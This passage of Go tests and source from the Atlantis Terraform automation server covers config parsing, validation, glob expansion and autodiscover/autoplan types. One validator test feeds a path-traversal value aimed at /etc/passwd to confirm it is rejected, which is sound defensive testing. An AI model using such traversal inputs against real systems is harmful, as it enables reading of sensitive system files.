"invalid repo_config_file which contains parent directory path": { input: `repos: - id: /.*/ repo_config_file: ../../etc/passwd`, expErr: "repos: (0: (repo_config_file: must not contains parent directory path like '../'.).).", }, "workflow doesn't exist": { input: `repos: - id: /.*/ workflow: notdefined`, expErr: "workflow \"notdefined\" is not defined", }, "invalid allowed_override": { input: `repos: - id: /.*/ allowed_overrides: [invalid]`, expErr: "repos: (0: (allowed_overrides: \"invalid\" is not a valid override, only \"plan_requirements\", \"apply_requirements\", \"import_requirements\", \"workflow\", \"delete_source_branch_on_merge\", \"repo_locking\", \"repo_locks\", \"policy_check\", \"custom_policy_check\", and \"silence_pr_comments\" are supported.).).", }, "invalid plan_requirement": { input: `repos: - id: /.*/ plan_requirements: [invalid]`, expErr: "repos: (0: (plan_requirements: \"invalid\" is not a valid plan_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.).).", }, "invalid apply_requirement": { input: `repos: - id: /.*/ apply_requirements: [invalid]`, expErr: "repos: (0: (apply_requirements: \"invalid\" is not a valid apply_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.).).", }, "invalid import_requirement": { input: `repos: - id: /.*/ import_requirements: [invalid]`, expErr: "repos: (0: (import_requirements: \"invalid\" is not a valid import_requirement, only \"approved\", \"mergeable\" and \"undiverged\" are supported.).).", }, "invalid silence_pr_comments": { input: `repos: - id: /.*/ silence_pr_comments: [invalid]`, expErr: "server-side repo config 'silence_pr_comments' key value of 'invalid' is not supported, supported values are [plan, apply]", }, "disable autodiscover": { input: `repos: - id: /.*/ autodiscover: mode: disabled`, exp: valid.GlobalCfg{ Repos: []valid.Repo{ defaultCfg.Repos[0], { IDRegex: regexp.MustCompile(".*"), AutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverDisabledMode}, }, }, Workflows: defaultCfg.Workflows, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, "disable repo locks": { input: `repos: - id: /.*/ repo_locks: mode: disabled`, exp: valid.GlobalCfg{ Repos: []valid.Repo{ defaultCfg.Repos[0], { IDRegex: regexp.MustCompile(".*"), RepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksDisabledMode}, }, }, Workflows: defaultCfg.Workflows, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, "no workflows key": { input: `repos: []`, exp: defaultCfg, }, "workflows empty": { input: `workflows:`, exp: defaultCfg, }, "workflow name but the rest is empty": { input: ` workflows: name:`, exp: valid.GlobalCfg{ Repos: defaultCfg.Repos, Workflows: map[string]valid.Workflow{ "default": defaultCfg.Workflows["default"], "name": defaultWorkflow("name"), }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, "workflow stages empty": { input: ` workflows: name: apply: plan: policy_check: import: state_rm: `, exp: valid.GlobalCfg{ Repos: defaultCfg.Repos, Workflows: map[string]valid.Workflow{ "default": defaultCfg.Workflows["default"], "name": defaultWorkflow("name"), }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, "workflow steps empty": { input: ` workflows: name: apply: steps: plan: steps: policy_check: steps: import: steps: state_rm: steps: `, exp: valid.GlobalCfg{ Repos: defaultCfg.Repos, Workflows: map[string]valid.Workflow{ "default": defaultCfg.Workflows["default"], "name": defaultWorkflow("name"), }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, "all keys specified": { input: ` repos: - id: github.com/owner/repo repo_config_file: "path/to/atlantis.yaml" apply_requirements: [approved, mergeable] pre_workflow_hooks: - run: custom workflow command workflow: custom1 post_workflow_hooks: - run: custom workflow command allowed_overrides: [plan_requirements, apply_requirements, import_requirements, workflow, delete_source_branch_on_merge] allow_custom_workflows: true policy_check: true autodiscover: mode: enabled repo_locks: mode: on_apply - id: /.*/ branch: /(master|main)/ pre_workflow_hooks: - run: custom workflow command post_workflow_hooks: - run: custom workflow command policy_check: false autodiscover: mode: disabled repo_locks: mode: disabled workflows: custom1: plan: steps: - run: custom command - init: extra_args: [extra, args] - plan policy_check: steps: - run: custom command - plan: extra_args: [extra, args] - policy_check apply: steps: - run: custom command - apply import: steps: - run: custom command - import state_rm: steps: - run: custom command - state_rm policies: conftest_version: v1.0.0 policy_sets: - name: good-policy path: rel/path/to/policy source: local `, exp: valid.GlobalCfg{ Repos: []valid.Repo{ defaultCfg.Repos[0], { ID: "github.com/owner/repo", RepoConfigFile: "path/to/atlantis.yaml", ApplyRequirements: []string{"approved", "mergeable"}, PreWorkflowHooks: preWorkflowHooks, Workflow: &customWorkflow1, PostWorkflowHooks: postWorkflowHooks, AllowedOverrides: []string{"plan_requirements", "apply_requirements", "import_requirements", "workflow", "delete_source_branch_on_merge"}, AllowCustomWorkflows: Bool(true), PolicyCheck: Bool(true), AutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverEnabledMode}, RepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode}, }, { IDRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile("(master|main)"), PreWorkflowHooks: preWorkflowHooks, PostWorkflowHooks: postWorkflowHooks, PolicyCheck: Bool(false), AutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverDisabledMode}, RepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksDisabledMode}, }, }, Workflows: map[string]valid.Workflow{ "default": defaultCfg.Workflows["default"], "custom1": customWorkflow1, }, PolicySets: valid.PolicySets{ Version: conftestVersion, ApproveCount: 1, PolicySets: []valid.PolicySet{ { Name: "good-policy", Path: "rel/path/to/policy", Source: valid.LocalPolicySet, ApproveCount: 1, }, }, }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, "id regex with trailing slash": { input: ` repos: - id: /github.com// `, exp: valid.GlobalCfg{ Repos: []valid.Repo{ defaultCfg.Repos[0], { IDRegex: regexp.MustCompile("github.com/"), }, }, Workflows: map[string]valid.Workflow{ "default": defaultCfg.Workflows["default"], }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, "referencing default workflow": { input: ` repos: - id: github.com/owner/repo workflow: default `, exp: valid.GlobalCfg{ Repos: []valid.Repo{ defaultCfg.Repos[0], { ID: "github.com/owner/repo", Workflow: defaultCfg.Repos[0].Workflow, }, }, Workflows: map[string]valid.Workflow{ "default": defaultCfg.Workflows["default"], }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, "redefine default workflow": { input: ` workflows: default: plan: steps: - run: custom policy_check: steps: [] apply: steps: [] import: steps: [] state_rm: steps: [] `, exp: valid.GlobalCfg{ Repos: []valid.Repo{ { IDRegex: regexp.MustCompile(".*"), BranchRegex: regexp.MustCompile(".*"), PlanRequirements: []string{}, ApplyRequirements: []string{}, ImportRequirements: []string{}, Workflow: &valid.Workflow{ Name: "default", Apply: valid.Stage{ Steps: nil, }, PolicyCheck: valid.Stage{ Steps: nil, }, Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom", }, }, }, Import: valid.Stage{ Steps: nil, }, StateRm: valid.Stage{ Steps: nil, }, }, AllowedWorkflows: []string{}, AllowedOverrides: []string{}, AllowCustomWorkflows: Bool(false), DeleteSourceBranchOnMerge: Bool(false), RepoLocks: &valid.DefaultRepoLocks, PolicyCheck: Bool(false), CustomPolicyCheck: Bool(false), AutoDiscover: raw.DefaultAutoDiscover(), }, }, Workflows: map[string]valid.Workflow{ "default": { Name: "default", Apply: valid.Stage{ Steps: nil, }, Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom", }, }, }, }, }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { r := config.ParserValidator{} tmp := t.TempDir() path := filepath.Join(tmp, "conf.yaml") Ok(t, os.WriteFile(path, []byte(c.input), 0600)) globalCfgArgs := valid.GlobalCfgArgs{ PolicyCheckEnabled: false, } act, err := r.ParseGlobalCfg(path, valid.NewGlobalCfgFromArgs(globalCfgArgs)) if c.expErr != "" { expErr := strings.ReplaceAll(c.expErr, "", path) ErrEquals(t, expErr, err) return } Ok(t, err) if !act.PolicySets.HasPolicies() { c.exp.PolicySets = act.PolicySets } Equals(t, c.exp, act) // Have to hand-compare regexes because Equals doesn't do it. for i, actRepo := range act.Repos { expRepo := c.exp.Repos[i] if expRepo.IDRegex != nil { Assert(t, expRepo.IDRegex.String() == actRepo.IDRegex.String(), "%q != %q for repos[%d]", expRepo.IDRegex.String(), actRepo.IDRegex.String(), i) } if expRepo.BranchRegex != nil { Assert(t, expRepo.BranchRegex.String() == actRepo.BranchRegex.String(), "%q != %q for repos[%d]", expRepo.BranchRegex.String(), actRepo.BranchRegex.String(), i) } } }) } } // Test that if we pass in JSON strings everything should parse fine. func TestParserValidator_ParseGlobalCfgJSON(t *testing.T) { customWorkflow := valid.Workflow{ Name: "custom", Plan: valid.Stage{ Steps: []valid.Step{ { StepName: "init", }, { StepName: "plan", ExtraArgs: []string{"extra", "args"}, }, { StepName: "run", RunCommand: "custom plan", }, }, }, PolicyCheck: valid.Stage{ Steps: []valid.Step{ { StepName: "plan", }, { StepName: "run", RunCommand: "custom policy_check", }, }, }, Apply: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "my custom command", }, }, }, Import: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom import", }, }, }, StateRm: valid.Stage{ Steps: []valid.Step{ { StepName: "run", RunCommand: "custom state_rm", }, }, }, } conftestVersion, _ := version.NewVersion("v1.0.0") cases := map[string]struct { json string exp valid.GlobalCfg expErr string }{ "empty string": { json: "", expErr: "unexpected end of JSON input", }, "empty object": { json: "{}", exp: valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}), }, "setting all keys": { json: ` { "repos": [ { "id": "/.*/", "workflow": "custom", "allowed_workflows": ["custom"], "apply_requirements": ["mergeable", "approved"], "allowed_overrides": ["workflow", "apply_requirements"], "allow_custom_workflows": true, "autodiscover": { "mode": "enabled" }, "repo_locks": { "mode": "on_apply" } }, { "id": "github.com/owner/repo" } ], "workflows": { "custom": { "plan": { "steps": [ "init", {"plan": {"extra_args": ["extra", "args"]}}, {"run": "custom plan"} ] }, "policy_check": { "steps": [ "plan", {"run": "custom policy_check"} ] }, "apply": { "steps": [ {"run": "my custom command"} ] }, "import": { "steps": [ {"run": "custom import"} ] }, "state_rm": { "steps": [ {"run": "custom state_rm"} ] } } }, "policies": { "conftest_version": "v1.0.0", "policy_sets": [ { "name": "good-policy", "source": "local", "path": "rel/path/to/policy" } ] } } `, exp: valid.GlobalCfg{ Repos: []valid.Repo{ valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}).Repos[0], { IDRegex: regexp.MustCompile(".*"), ApplyRequirements: []string{"mergeable", "approved"}, Workflow: &customWorkflow, AllowedWorkflows: []string{"custom"}, AllowedOverrides: []string{"workflow", "apply_requirements"}, AllowCustomWorkflows: Bool(true), AutoDiscover: &valid.AutoDiscover{Mode: valid.AutoDiscoverEnabledMode}, RepoLocks: &valid.RepoLocks{Mode: valid.RepoLocksOnApplyMode}, }, { ID: "github.com/owner/repo", IDRegex: nil, ApplyRequirements: nil, AllowedOverrides: nil, AllowCustomWorkflows: nil, AutoDiscover: nil, RepoLocks: nil, }, }, Workflows: map[string]valid.Workflow{ "default": valid.NewGlobalCfgFromArgs(valid.GlobalCfgArgs{}).Workflows["default"], "custom": customWorkflow, }, PolicySets: valid.PolicySets{ Version: conftestVersion, ApproveCount: 1, PolicySets: []valid.PolicySet{ { Name: "good-policy", Path: "rel/path/to/policy", Source: valid.LocalPolicySet, ApproveCount: 1, }, }, }, TeamAuthz: valid.TeamAuthz{ Args: make([]string, 0), }, }, }, } for name, c := range cases { t.Run(name, func(t *testing.T) { pv := &config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{} cfg, err := pv.ParseGlobalCfgJSON(c.json, valid.NewGlobalCfgFromArgs(globalCfgArgs)) if c.expErr != "" { ErrEquals(t, c.expErr, err) return } Ok(t, err) if !cfg.PolicySets.HasPolicies() { c.exp.PolicySets = cfg.PolicySets } Equals(t, c.exp, cfg) }) } } // Test legacy shell parsing vs v3 parsing. func TestParseRepoCfg_V2ShellParsing(t *testing.T) { cases := []struct { in string expV2 string expV2Err string }{ { in: "echo a b", expV2: "echo a b", }, { in: "echo 'a b'", expV2: "echo a b", }, { in: "echo 'a b", expV2Err: "unable to parse \"echo 'a b\": EOF found when expecting closing quote", }, { in: `mkdir a/b/c || printf \'your main.tf file does not provide default region.\\ncheck\'`, expV2: `mkdir a/b/c || printf 'your main.tf file does not provide default region.\ncheck'`, }, } for _, c := range cases { t.Run(c.in, func(t *testing.T) { v2Dir := t.TempDir() v3Dir := t.TempDir() v2Path := filepath.Join(v2Dir, "atlantis.yaml") v3Path := filepath.Join(v3Dir, "atlantis.yaml") cfg := fmt.Sprintf(`workflows: custom: plan: steps: - run: %s apply: steps: - run: %s`, c.in, c.in) Ok(t, os.WriteFile(v2Path, []byte("version: 2\n"+cfg), 0600)) Ok(t, os.WriteFile(v3Path, []byte("version: 3\n"+cfg), 0600)) p := &config.ParserValidator{} globalCfgArgs := valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } v2Cfg, err := p.ParseRepoCfg(v2Dir, valid.NewGlobalCfgFromArgs(globalCfgArgs), "", "") if c.expV2Err != "" { ErrEquals(t, c.expV2Err, err) } else { Ok(t, err) Equals(t, c.expV2, v2Cfg.Workflows["custom"].Plan.Steps[0].RunCommand) Equals(t, c.expV2, v2Cfg.Workflows["custom"].Apply.Steps[0].RunCommand) } globalCfgArgs = valid.GlobalCfgArgs{ AllowAllRepoSettings: true, } v3Cfg, err := p.ParseRepoCfg(v3Dir, valid.NewGlobalCfgFromArgs(globalCfgArgs), "", "") Ok(t, err) Equals(t, c.in, v3Cfg.Workflows["custom"].Plan.Steps[0].RunCommand) Equals(t, c.in, v3Cfg.Workflows["custom"].Apply.Steps[0].RunCommand) }) } } // String is a helper routine that allocates a new string value // to store v and returns a pointer to it. func String(v string) *string { return &v } // Bool is a helper routine that allocates a new bool value // to store v and returns a pointer to it. func Bool(v bool) *bool { return &v } func defaultWorkflow(name string) valid.Workflow { return valid.Workflow{ Name: name, Apply: valid.DefaultApplyStage, Plan: valid.DefaultPlanStage, PolicyCheck: valid.DefaultPolicyCheckStage, Import: valid.DefaultImportStage, StateRm: valid.DefaultStateRmStage, } } // Test that ContainsGlobPattern correctly identifies glob patterns. func TestContainsGlobPattern(t *testing.T) { cases := []struct { input string expected bool }{ {".", false}, {"dir/subdir", false}, {"dir-name", false}, {"dir_name", false}, {"*", true}, {"**", true}, {"dir/*", true}, {"dir/**", true}, {"**/subdir", true}, {"dir/*/subdir", true}, {"dir/**/subdir", true}, {"?", true}, {"dir/?", true}, {"[abc]", true}, {"dir/[abc]", true}, {"modules/*/", true}, {"environments/**/terraform", true}, } for _, c := range cases { t.Run(c.input, func(t *testing.T) { result := raw.ContainsGlobPattern(c.input) Equals(t, c.expected, result) }) } } // Test that ValidateGlobPattern correctly validates glob patterns. func TestValidateGlobPattern(t *testing.T) { cases := []struct { input string expErr bool }{ {"*", false}, {"**", false}, {"dir/*", false}, {"dir/**", false}, {"**/subdir", false}, {"dir/*/subdir", false}, {"dir/**/subdir", false}, {"?", false}, {"[abc]", false}, {"[a-z]", false}, {"modules/*/", false}, {"environments/**/terraform", false}, // Invalid patterns {"[", true}, {"[abc", true}, } for _, c := range cases { t.Run(c.input, func(t *testing.T) { err := raw.ValidateGlobPattern(c.input) if c.expErr { Assert(t, err != nil, "expected error for pattern %q", c.input) } else { Ok(t, err) } }) } } // Test glob pattern expansion in ParseRepoCfg. func TestParseRepoCfg_GlobExpansion(t *testing.T) { // Create a temp directory with the following structure: // repo/ // atlantis.yaml // modules/ // module-a/ // main.tf // module-b/ // main.tf // module-c/ (no .tf files - should be excluded) // readme.md // environments/ // dev/ // main.tf // prod/ // main.tf tmpDir := t.TempDir() // Create directory structure dirs := []string{ "modules/module-a", "modules/module-b", "modules/module-c", "environments/dev", "environments/prod", } for _, dir := range dirs { err := os.MkdirAll(filepath.Join(tmpDir, dir), 0755) Ok(t, err) } // Create .tf files in terraform directories tfDirs := []string{ "modules/module-a", "modules/module-b", "environments/dev", "environments/prod", } for _, dir := range tfDirs { err := os.WriteFile(filepath.Join(tmpDir, dir, "main.tf"), []byte("# terraform"), 0600) Ok(t, err) } // Create non-tf file in module-c err := os.WriteFile(filepath.Join(tmpDir, "modules/module-c/readme.md"), []byte("# readme"), 0600) Ok(t, err) cases := []struct { description string input string expDirs []string // Expected project directories after expansion expErr string }{ { description: "single glob pattern", input: ` version: 3 projects: - dir: "modules/*" `, expDirs: []string{"modules/module-a", "modules/module-b"}, }, { description: "double star glob pattern", input: ` version: 3 projects: - dir: "environments/**" `, expDirs: []string{"environments/dev", "environments/prod"}, }, { description: "mixed glob and non-glob projects", input: ` version: 3 projects: - dir: "." - dir: "modules/*" `, expDirs: []string{".", "modules/module-a", "modules/module-b"}, }, { description: "glob with workflow preserved", input: ` version: 3 projects: - dir: "modules/*" workspace: staging apply_requirements: [approved] workflows: default: ~ `, expDirs: []string{"modules/module-a", "modules/module-b"}, }, { description: "no glob - backward compatibility", input: ` version: 3 projects: - dir: "modules/module-a" `, expDirs: []string{"modules/module-a"}, }, { description: "invalid glob pattern", input: ` version: 3 projects: - dir: "[invalid" `, expErr: "syntax error in pattern", }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(c.input), 0600) Ok(t, err) r := config.ParserValidator{} cfg, err := r.ParseRepoCfg(tmpDir, globalCfg, "", "") if c.expErr != "" { Assert(t, err != nil, "expected error") Assert(t, strings.Contains(err.Error(), c.expErr), "error %q should contain %q", err.Error(), c.expErr) return } Ok(t, err) // Extract directories from the parsed config var actualDirs []string for _, p := range cfg.Projects { actualDirs = append(actualDirs, p.Dir) } // Sort both slices for comparison Equals(t, len(c.expDirs), len(actualDirs)) for _, expDir := range c.expDirs { found := slices.Contains(actualDirs, expDir) Assert(t, found, "expected dir %q not found in actual dirs %v", expDir, actualDirs) } }) } } // Test that glob expansion preserves project settings. func TestParseRepoCfg_GlobExpansionPreservesSettings(t *testing.T) { tmpDir := t.TempDir() // Create directory structure dirs := []string{"modules/mod-a", "modules/mod-b"} for _, dir := range dirs { err := os.MkdirAll(filepath.Join(tmpDir, dir), 0755) Ok(t, err) err = os.WriteFile(filepath.Join(tmpDir, dir, "main.tf"), []byte("# tf"), 0600) Ok(t, err) } input := ` version: 3 projects: - dir: "modules/*" workspace: staging terraform_version: v1.0.0 apply_requirements: [approved, mergeable] autoplan: enabled: false when_modified: ["*.tf"] ` err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(input), 0600) Ok(t, err) r := config.ParserValidator{} cfg, err := r.ParseRepoCfg(tmpDir, globalCfg, "", "") Ok(t, err) // Verify we got 2 projects Equals(t, 2, len(cfg.Projects)) // Verify each project has the correct settings for _, p := range cfg.Projects { Equals(t, "staging", p.Workspace) Assert(t, p.TerraformVersion != nil, "TerraformVersion should not be nil") Equals(t, "1.0.0", p.TerraformVersion.String()) Equals(t, []string{"approved", "mergeable"}, p.ApplyRequirements) Equals(t, false, p.Autoplan.Enabled) Equals(t, []string{"*.tf"}, p.Autoplan.WhenModified) } } // Test that glob expansion does not copy project names. func TestParseRepoCfg_GlobExpansionNoNameCopy(t *testing.T) { tmpDir := t.TempDir() // Create directory structure dirs := []string{"modules/mod-a", "modules/mod-b"} for _, dir := range dirs { err := os.MkdirAll(filepath.Join(tmpDir, dir), 0755) Ok(t, err) err = os.WriteFile(filepath.Join(tmpDir, dir, "main.tf"), []byte("# tf"), 0600) Ok(t, err) } input := ` version: 3 projects: - name: my-project dir: "modules/*" ` err := os.WriteFile(filepath.Join(tmpDir, "atlantis.yaml"), []byte(input), 0600) Ok(t, err) r := config.ParserValidator{} cfg, err := r.ParseRepoCfg(tmpDir, globalCfg, "", "") Ok(t, err) // Verify we got 2 projects and none have names (since name is not copied for expanded projects) Equals(t, 2, len(cfg.Projects)) for _, p := range cfg.Projects { Assert(t, p.Name == nil, "expanded projects should not have names") } } ================================================ FILE: server/core/config/raw/autodiscover.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( "errors" "fmt" "strings" "github.com/bmatcuk/doublestar/v4" validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/valid" ) var DefaultAutoDiscoverMode = valid.AutoDiscoverAutoMode type AutoDiscover struct { Mode *valid.AutoDiscoverMode `yaml:"mode,omitempty"` IgnorePaths []string `yaml:"ignore_paths,omitempty"` } func (a AutoDiscover) ToValid() *valid.AutoDiscover { var v valid.AutoDiscover if a.Mode != nil { v.Mode = *a.Mode } else { v.Mode = DefaultAutoDiscoverMode } v.IgnorePaths = a.IgnorePaths return &v } func (a AutoDiscover) Validate() error { ignoreValid := func(value any) error { strSlice := value.([]string) if strSlice == nil { return nil } for _, ignore := range strSlice { // A beginning slash isn't necessary since they are specifying a relative path, not an absolute one. // Rejecting `/...` also allows us to potentially use `/.*/` as regexes in the future if strings.HasPrefix(ignore, "/") { return errors.New("pattern must not begin with a slash '/'") } if !doublestar.ValidatePattern(ignore) { return fmt.Errorf("invalid pattern: %s", ignore) } } return nil } res := validation.ValidateStruct(&a, // If a.Mode is nil, this should still pass validation. validation.Field(&a.Mode, validation.In(valid.AutoDiscoverAutoMode, valid.AutoDiscoverDisabledMode, valid.AutoDiscoverEnabledMode)), validation.Field(&a.IgnorePaths, validation.By(ignoreValid)), ) return res } func DefaultAutoDiscover() *valid.AutoDiscover { return &valid.AutoDiscover{ Mode: DefaultAutoDiscoverMode, IgnorePaths: nil, } } ================================================ FILE: server/core/config/raw/autodiscover_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestAutoDiscover_UnmarshalYAML(t *testing.T) { autoDiscoverEnabled := valid.AutoDiscoverEnabledMode cases := []struct { description string input string exp raw.AutoDiscover }{ { description: "omit unset fields", input: "", exp: raw.AutoDiscover{ Mode: nil, IgnorePaths: nil, }, }, { description: "all fields set", input: ` mode: enabled ignore_paths: - foobar `, exp: raw.AutoDiscover{ Mode: &autoDiscoverEnabled, IgnorePaths: []string{"foobar"}, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var a raw.AutoDiscover err := unmarshalString(c.input, &a) Ok(t, err) Equals(t, c.exp, a) }) } } func TestAutoDiscover_Validate(t *testing.T) { autoDiscoverAuto := valid.AutoDiscoverAutoMode autoDiscoverEnabled := valid.AutoDiscoverEnabledMode autoDiscoverDisabled := valid.AutoDiscoverDisabledMode randomString := valid.AutoDiscoverMode("random_string") cases := []struct { description string input raw.AutoDiscover errContains *string }{ { description: "nothing set", input: raw.AutoDiscover{}, errContains: nil, }, { description: "mode set to auto", input: raw.AutoDiscover{ Mode: &autoDiscoverAuto, }, errContains: nil, }, { description: "mode set to disabled", input: raw.AutoDiscover{ Mode: &autoDiscoverDisabled, }, errContains: nil, }, { description: "mode set to enabled", input: raw.AutoDiscover{ Mode: &autoDiscoverEnabled, }, errContains: nil, }, { description: "mode set to random string", input: raw.AutoDiscover{ Mode: &randomString, }, errContains: String("valid value"), }, { description: "ignore set with leading slash", input: raw.AutoDiscover{ Mode: &autoDiscoverAuto, IgnorePaths: []string{ "/foo", }, }, errContains: String("pattern must not begin with a slash '/'"), }, { description: `ignore set to broken pattern \`, input: raw.AutoDiscover{ Mode: &autoDiscoverAuto, IgnorePaths: []string{ `\`, }, }, errContains: String(`invalid pattern: \`), }, { description: "ignore set to broken pattern [", input: raw.AutoDiscover{ Mode: &autoDiscoverAuto, IgnorePaths: []string{ "[", }, }, errContains: String("invalid pattern: ["), }, { description: "ignore set to valid pattern", input: raw.AutoDiscover{ Mode: &autoDiscoverAuto, IgnorePaths: []string{ "foo*", }, }, errContains: nil, }, { description: "ignore set to long pattern", input: raw.AutoDiscover{ Mode: &autoDiscoverAuto, IgnorePaths: []string{ "foo/**/bar/baz/??", }, }, errContains: nil, }, { description: "ignore set to one valid and one invalid pattern", input: raw.AutoDiscover{ Mode: &autoDiscoverAuto, IgnorePaths: []string{ "foo", "foo[", }, }, errContains: String("invalid pattern: foo["), }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { if c.errContains == nil { Ok(t, c.input.Validate()) } else { ErrContains(t, *c.errContains, c.input.Validate()) } }) } } func TestAutoDiscover_ToValid(t *testing.T) { autoDiscoverEnabled := valid.AutoDiscoverEnabledMode cases := []struct { description string input raw.AutoDiscover exp *valid.AutoDiscover }{ { description: "nothing set", input: raw.AutoDiscover{}, exp: &valid.AutoDiscover{ Mode: valid.AutoDiscoverAutoMode, IgnorePaths: nil, }, }, { description: "value set", input: raw.AutoDiscover{ Mode: &autoDiscoverEnabled, IgnorePaths: []string{ "foo", "bar/*", }, }, exp: &valid.AutoDiscover{ Mode: valid.AutoDiscoverEnabledMode, IgnorePaths: []string{ "foo", "bar/*", }, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } ================================================ FILE: server/core/config/raw/autoplan.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( "github.com/runatlantis/atlantis/server/core/config/valid" ) // DefaultAutoPlanWhenModified is the default element in the when_modified // list if none is defined. var DefaultAutoPlanWhenModified = []string{ "**/*.tf*", "**/terragrunt.hcl", "**/.terraform.lock.hcl", } type Autoplan struct { WhenModified []string `yaml:"when_modified,omitempty"` Enabled *bool `yaml:"enabled,omitempty"` } func (a Autoplan) ToValid() valid.Autoplan { var v valid.Autoplan if a.WhenModified == nil { v.WhenModified = DefaultAutoPlanWhenModified } else { v.WhenModified = a.WhenModified } if a.Enabled == nil { v.Enabled = true } else { v.Enabled = *a.Enabled } return v } func (a Autoplan) Validate() error { return nil } // DefaultAutoPlan returns the default autoplan config. func DefaultAutoPlan() valid.Autoplan { return valid.Autoplan{ WhenModified: DefaultAutoPlanWhenModified, Enabled: valid.DefaultAutoPlanEnabled, } } ================================================ FILE: server/core/config/raw/autoplan_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw_test import ( "testing" "github.com/runatlantis/atlantis/server/core/config/raw" "github.com/runatlantis/atlantis/server/core/config/valid" . "github.com/runatlantis/atlantis/testing" ) func TestAutoPlan_UnmarshalYAML(t *testing.T) { cases := []struct { description string input string exp raw.Autoplan }{ { description: "omit unset fields", input: "", exp: raw.Autoplan{ Enabled: nil, WhenModified: nil, }, }, { description: "all fields set", input: ` enabled: true when_modified: ["something-else"] `, exp: raw.Autoplan{ Enabled: Bool(true), WhenModified: []string{"something-else"}, }, }, { description: "enabled false", input: ` enabled: false when_modified: ["something-else"] `, exp: raw.Autoplan{ Enabled: Bool(false), WhenModified: []string{"something-else"}, }, }, { description: "modified elem empty", input: ` enabled: false when_modified: - "" `, exp: raw.Autoplan{ Enabled: Bool(false), WhenModified: []string{""}, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { var a raw.Autoplan err := unmarshalString(c.input, &a) Ok(t, err) Equals(t, c.exp, a) }) } } func TestAutoplan_Validate(t *testing.T) { cases := []struct { description string input raw.Autoplan }{ { description: "nothing set", input: raw.Autoplan{}, }, { description: "when_modified empty", input: raw.Autoplan{ WhenModified: []string{}, }, }, { description: "enabled false", input: raw.Autoplan{ Enabled: Bool(false), }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Ok(t, c.input.Validate()) }) } } func TestAutoplan_ToValid(t *testing.T) { cases := []struct { description string input raw.Autoplan exp valid.Autoplan }{ { description: "nothing set", input: raw.Autoplan{}, exp: valid.Autoplan{ Enabled: true, WhenModified: raw.DefaultAutoPlanWhenModified, }, }, { description: "when modified empty", input: raw.Autoplan{ WhenModified: []string{}, }, exp: valid.Autoplan{ Enabled: true, WhenModified: []string{}, }, }, { description: "enabled false", input: raw.Autoplan{ Enabled: Bool(false), }, exp: valid.Autoplan{ Enabled: false, WhenModified: raw.DefaultAutoPlanWhenModified, }, }, { description: "enabled true", input: raw.Autoplan{ Enabled: Bool(true), }, exp: valid.Autoplan{ Enabled: true, WhenModified: raw.DefaultAutoPlanWhenModified, }, }, } for _, c := range cases { t.Run(c.description, func(t *testing.T) { Equals(t, c.exp, c.input.ToValid()) }) } } ================================================ FILE: server/core/config/raw/global_cfg.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package raw import ( "errors" "fmt" "regexp" "strings" validation "github.com/go-ozzo/ozzo-validation" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/utils" ) // GlobalCfg is the raw schema for server-side repo config. type GlobalCfg struct { Repos []Repo `yaml:"repos" json:"repos"` Workflows map[string]Workflow `yaml:"workflows" json:"workflows"` PolicySets PolicySets `yaml:"policies" json:"policies"` Metrics Metrics `yaml:"metrics" json:"metrics"` TeamAuthz TeamAuthz `yaml:"team_authz" json:"team_authz"` } // Repo is the raw schema for repos in the server-side repo config. type Repo struct { ID string `yaml:"id" json:"id"` Branch string `yaml:"branch" json:"branch"` RepoConfigFile string `yaml:"repo_config_file" json:"repo_config_file"` PlanRequirements []string `yaml:"plan_requirements" json:"plan_requirements"` ApplyRequirements []string `yaml:"apply_requirements" json:"apply_requirements"` ImportRequirements []string 